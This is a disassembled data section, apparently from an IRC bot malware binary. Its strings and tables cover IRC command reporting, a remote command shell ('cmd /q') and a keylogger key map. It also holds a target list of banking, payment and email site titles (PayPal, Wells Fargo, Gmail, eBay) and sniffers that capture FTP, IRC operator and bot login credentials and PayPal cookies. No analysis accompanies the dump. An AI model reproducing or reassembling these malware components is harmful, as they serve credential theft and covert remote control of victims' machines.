		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; С
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
